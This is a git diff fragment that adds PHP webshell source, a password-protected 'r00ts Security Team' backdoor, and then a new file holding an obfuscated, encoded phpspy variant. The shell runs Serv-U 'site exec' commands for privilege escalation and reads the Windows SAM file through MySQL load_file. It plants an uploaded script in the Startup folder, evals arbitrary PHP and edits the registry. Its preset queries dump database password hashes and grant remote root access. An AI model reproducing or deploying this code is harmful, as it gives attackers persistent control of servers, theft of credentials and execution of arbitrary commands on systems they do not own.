$deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "Data send: site exec ".$_POST["SUCommand"]."
                "; + $recvbuf = @fgets($exp, 1024); + echo "Data receive: $recvbuf
                "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "Data send: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "Data receive: $recvbuf
                "; + @fclose($exp); + } + @fclose($sock); + echo '
                '; + } +} + +//mysql statement + +function Mysql_n() +{ + $MSG_BOX = ' '; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = 'Connect to mysql faild '; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'b4che10r.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = 'Download file faild'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; + Root_CSS(); +print<< +
                +
                +IP: +Port: +User: +Pass: +Dbname: +
                +
                +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? 'upfile success' : 'upfile faild'; + } + else $MSG_BOX = 'insert into temp table faild'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = 'create temp table faild'; + } +print<<
                Path: +

                File:  +
                +END; +} +elseif($o == 'd') +{ +print<<

                download file: +
                +END; +} +else +{ +print<< +function nFull(i){ + Str = new Array(15); + Str[0] = "select command Or input manual"; + Str[1] = "select version();"; + Str[2] = "select @@character_set_database;"; + Str[3] = "show databases;"; + Str[4] = "show tables;"; + Str[5] = "show columns from table_name;"; + Str[6] = "select @@hostname;"; + Str[7] = "select @@version_compile_os;"; + Str[8] = "select @@basedir;"; + Str[9] = "select @@datadir;"; + Str[10] = "describe table_name;"; + Str[11] = "select User,Password from mysql.user;"; + Str[12] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);"; + Str[13] = "select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;"; + Str[14] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                +
                + + +END; +if(!empty($_POST['msql'])) + + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = 'execute sql statement success
                '; + $row=mysql_fetch_row($result); + echo ''.""; + for ($i=0; $i'.mysql_field_name($result, $i).""; + } + echo ""; + mysql_data_seek($result, 0); + while ($row=mysql_fetch_row($result)) + { + echo ""; + for ($i=0; $i'."$row[$i]".''; + } + echo ""; + } + echo "
                "; + mysql_free_result($result); + } + else $MSG_BOX .= mysql_error(); + } +} + echo '
                '.$MSG_BOX.'
                '; + return true; +} + +//eval php code +function phpcode() +{ + +print<< +
                +
                user define php code:

                +
                +

                +
                + +END; + $phpcode = $_POST['phpcode']; + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si',$phpcode)){ + $phpcode = ""; + } + eval("?".">$phpcode
                '; + } + return false; +} +//other db connector +function otherdb(){ +$db = isset($_GET['db']) ? $_GET['db'] : ''; +print<< + +END; + +if ($db=="ms"){ +$mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; +$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; +$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123'; +$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; +$msaction = isset($_POST['action']) ? $_POST['action'] : ''; +$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; +$msquery = stripslashes($msquery); +print<< +
                Host: +User: +Pass: +Dbname:

                + +
                + + +
                +END; + +if ($msaction == 'msquery'){ +$msconn= mssql_connect ($mshost , $msuser, $mspass); +mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message()); +$msresult = mssql_query($msquery) or die(mssql_get_last_message()); +echo ''; +echo ''; +echo "\n\n"; +for ($i=0; $i'. +mssql_field_name($msresult, $i); +echo "\n"; +} +echo "\n"; +mssql_data_seek($result, 0); +while ($msrow=mssql_fetch_row($msresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$msrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                \n"; +echo "
                "; +mssql_free_result($msresult); +mssql_close(); +} + } +elseif ($db=="ora"){ +$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; +$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; +$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; +$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; +$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; +$oraaction = isset($_POST['action']) ? $_POST['action'] : ''; +$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; +$oraquery = stripslashes($oraquery); +print<< +
                Host: +Port: +User: +Pass: +SID:

                + +
                + + +
                +END; + +if ($oraaction == 'oraquery'){ + $oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); + $oraresult=ociparse($oralink,$oraquery) or die(ocierror()); + $orarow=oci_fetch_row($oraresult); + echo ''; + echo ''; + echo "\n\n"; + for ($i=0; $i'. + oci_field_name($oraresult, $i); + echo "\n"; + } + echo "\n"; + ociresult($oraresult, 0); + while ($orarow=ora_fetch_row($oraresult)) + { + echo "\n"; + for ($i=0; $i'; + echo "$orarow[$i]"; + echo ''; + } + echo "\n"; + } + echo "
                \n"; + echo "
                "; + oci_free_statement($oraresult); + ocilogoff(); +} +} +elseif ($db == "ifx"){ +$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; +$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; +$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; +$ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; +$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; +$ifxquery = stripslashes($ifxquery); +print<< +
                Dbname: +User: +Pass:

                + +
                + + +
                +END; +if ($ifxaction == 'ifxquery'){ + $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); + $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); + $ifxrow=ifx_fetch_row($ifxresult); + echo ''; + echo ''; + echo "\n\n"; + for ($i=0; $i'. +ifx_fieldproperties($ifxresult); +echo "\n"; +} +echo "\n"; +mysql_data_seek($ifxresult, 0); +while ($ifxrow=ifx_fetch_row($ifxresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$ifxrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                \n"; +echo "
                "; +ifx_free_result($ifxresult); +ifx_close(); +} + } +elseif ($db=="db2"){ +$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; +$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; +$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; +$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; +$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; +$db2action = isset($_POST['action']) ? $_POST['action'] : ''; +$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; +$db2query = stripslashes($db2query); +print<< +
                Host: +Port: +User: +Pass: +Dbname:

                + +
                + + +
                +END; +if ($myaction == 'db2query'){ +//$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;"; +$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); +$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); +$db2row=db2_fetch_row($db2result); +echo ''; +echo ''; +echo "\n\n"; +for ($i=0; $i'. +db2_field_name($db2result); +echo "\n"; +} +echo "\n"; +while ($db2row=db2_fetch_row($db2result)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$db2row[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                \n"; +echo "
                "; +db2_free_result($db2result); +db2_close(); +} + } +elseif($db == "fb") { +$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; +$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; +$fbpath = str_replace("\\\\", "\\", $fbpath); +$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; +$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; +$fbaction = isset($_POST['action']) ? $_POST['action'] : ''; +$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; +$fbquery = stripslashes($fbquery); +print<< +
                Host: +Path: +User: +Pass:
                + +
                + + +
                +END; +if ($fbaction == 'fbquery'){ + $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); + $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); + echo ''; + echo ''; + echo "\n\n"; + for ($i=0; $i'. + ibase_field_info($fbresult, $i); + echo "\n"; + } + echo "\n"; + ibase_field_info($fbresult, 0); + while ($fbrow=ibase_fetch_row($fbresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$fbrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                \n"; +echo "
                "; +ibase_free_result($fbresult); +ibase_close(); + } + } +else{ +$pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; +$pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres'; +$pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; +$pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; +$pgaction = isset($_POST['action']) ? $_POST['action'] : ''; +$pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; +$pgquery = stripslashes($pgquery); +print<< +
                Host: +User: +Pass: +Dbname:

                + +
                + + +
                +END; + +if ($pgaction == 'pgquery'){ +$pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") + or die( 'Could not connect: ' . pg_last_error()); +$pgresult = pg_query($pgquery) or die( 'Query failed: '.pg_last_error()); +$pgrow=pg_fetch_row($pgresult); +echo ''; +echo ''; +echo "\n\n"; +for ($i=0; $i'. +pg_field_name($pgresult, $i); +echo "\n"; +} +echo "\n"; +pg_result_seek($pgresult, 0); +while ($pgrow=pg_fetch_row($pgresult)) +{ +echo "\n"; +for ($i=0; $i'; +echo "$pgrow[$i]"; +echo ''; +} +echo "\n"; +} +echo "
                \n"; +echo "
                "; +pg_free_result($pgresult); +pg_close(); +} +} + } + +//control Registry with php +function phpreg(){ +$shell1 = new COM("wscript.shell") or die("require windows host"); +$action = isset($_POST['action']) ? $_POST['action'] : ''; +echo '
                '; +echo '
                Read & Write &Del reg

                '; +echo '
                '; +print<<
                +
                +Rpath:  + +

                +END; + +$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : ''; +$rpath = str_replace("\\\\", "\\", $rpath); +if ($action=="read"){ +$out = $shell1->RegRead($rpath); +echo '
                '.var_dump($out).'
                '; +echo '

                '; +} + +print<<
                +
                Wpath: +

                +Wtype:  +Wvalue:  + +


                +END; + +$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : ''; +$wpath = str_replace("\\\\", "\\", $wpath); +$wtype = isset($_POST['wtype']) ? $_POST['wtype'] : ''; +$wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : ''; +if ($action=="write"){ +$shell1->RegWrite($wpath, $wvalue, $wtype); +} + +print<<
                +
                +Dpath: + +

                +END; + +$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : ''; +$dpath = str_replace("\\\\", "\\", $dpath); +if ($action=="del"){ +$out = $shell1->RegDelete($dpath); +} + } +function Root_Login($MSG_TOP) +{ +global $lanip; +print<< + +
                +
                +
                +
                {$MSG_TOP}
                +
                PASS:
                +
                +
                @Copyright spider Clean Backdoor and plus & modify by r00ts Security Team
                +
                Your IP : {$lanip}
                +
                +
                +
                + + +END; + return false; +} + +function WinMain() +{ + $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); + $Server_OS = PHP_OS; + $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; +print<< + r00ts Security Team New PHP Shell 2012-2013 + + + + + + + + +END; +return false; +} + +if(get_magic_quotes_gpc()) +{ + $_GET = Root_GP($_GET); + $_POST = Root_GP($_POST); +} +if($_GET['s'] == 'logout') +{ + setcookie('admin_b4che10rpass',NULL); + die(''); +} +if($_COOKIE['admin_b4che10rpass'] != md5($password)) +{ + ob_start(); + $MSG_TOP = 'LOGIN'; + if(isset($_POST['b4che10rpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime); + if(md5($_POST['b4che10rpass']) == md5($password)){die('');} + else{$MSG_TOP = 'This is my privileges, What are you doing man ?';} + + } + Root_Login($MSG_TOP); + exit(); + ob_end_flush(); +} + +if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} +$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); + +switch($s) +{ + case "a" : File_a($p); break; + case "b" : Guama_b(); break; + case "c" : Qingma_c(); break; + case "d" : Tihuan_d(); break; + case "e" : Antivirus_e(); break; + case "f" : Info_f(); break; + case "g" : Exec_g(); break; + case "h" : Com_h(); break; + case "i" : Port_i(); break; + case "j" : Shellcode_j(); break; + case "k" : Crack_k(); break; + case "l" : Linux_l(); break; + case "m" : Mysql_m(); break; + case "n" : Mysql_n(); break; + case "o" : phpreg(); break; + case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; + case 'x' : phpcode();break; + case 'r' : phpsocket();break; + case 'w' : otherdb();break; + case 'z' : su();break; + case 'u' : Findfile_j(); break; + case 'v' : ftp_php();break; + default: WinMain(); break; +} +?> diff --git "a/php/\344\272\214\350\277\233\345\210\266\345\256\214\345\205\250\350\277\207\347\213\227\347\211\210phpspy\345\244\247\351\251\254_\345\257\206\347\240\201adminphp.php" "b/php/\344\272\214\350\277\233\345\210\266\345\256\214\345\205\250\350\277\207\347\213\227\347\211\210phpspy\345\244\247\351\251\254_\345\257\206\347\240\201adminphp.php" new file mode 100644 index 0000000..2495d9c --- /dev/null +++ "b/php/\344\272\214\350\277\233\345\210\266\345\256\214\345\205\250\350\277\207\347\213\227\347\211\210phpspy\345\244\247\351\251\254_\345\257\206\347\240\201adminphp.php" @@ -0,0 +1,5 @@ +$?29?&$?95?$?70$?52纝)<$?11??$?01?$?95?$?70$?52纝)/$?37?:$?70$?52纝):"";return($?93?$?66?);}function ?58?&$?96?''){global $?3?$?8?$?77?$?84?$?48?$?74?$?77?$?84?$?48?'(@$?8?$?3?\'eNpTWWZoan7KdqahucFiDfVjxks+bTD2unHM/cOFTUarbNV11DcZuX7wd/G7BcTXNn25cWnLCrdLm9at+uTrcs7Qf4XbjS23XE38V2x657vimq26prXKJDMjs8vI5oEw6eZkpmlAjNJQmWxoaXZER/1gcZaXm4WrpWtISUFAkKt5eHFZSKRBUXB+UIl3ZVFhUWVIa'.$?3??70?'?蠕蓉剽4=','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=')).'2kN+krqlZDdFnqwL2oAZp2nXU1XUg+oE+gpjjoHLeyHiSBkz0mqmpRQucV6uQmlOcqlCtstbYwHgv3PceXje2GFq+2LRhyZVDjra25ISCggbETA0lfQ09bXvNGD0NPS0gpaGvpBMf7+bp4xofr6Ny3NDAoEdTE+iAtMyc1NSKEgVbBYhgtFGsNYRlCxUwjEU4FyIBM8carDsvMRdoAtCA1IqCnPyUVA0lPSUdqGma1sgWIFRHJ+eX5pVoIIlo6oLsUUlJTQYaEZ9WYJuWX5CapwExRg9opB7MJB31IlC6gauML85Mz7NNK0pNTNFAiOqAVBdnVqViM0JT0zotOSe/OBVJg6a1RnFpUnFJkQaa0Tq6xkaaira5KaYaIAxXBACGKSUd\')).$?8?$?3?$?74?))',"998fe3c4016b9062897b7d537b4b19cd"); +}}global $?3?$?8?$?77?$?84?$?48?$?74?$?77??70?'艸J卮19虼癇娌甆?,'?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?84??70?'L糁5OG簇M2M0MDE2苍诸N訧4Oㄈ襈2?M羧襈GI餙甆諰2?','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?3??70?'糙F舸ú0?へ?9执?=','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?48??70?'窗葱腁==','?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?8??70?'??内N炷癇虼癗?,'?E餙DN贠DN植糌掖‵也騇D?O‵卮贓4Oú頜ㄖ=');$?74?'';$?77?$?84?$?48?'(@$?8?$?3?\'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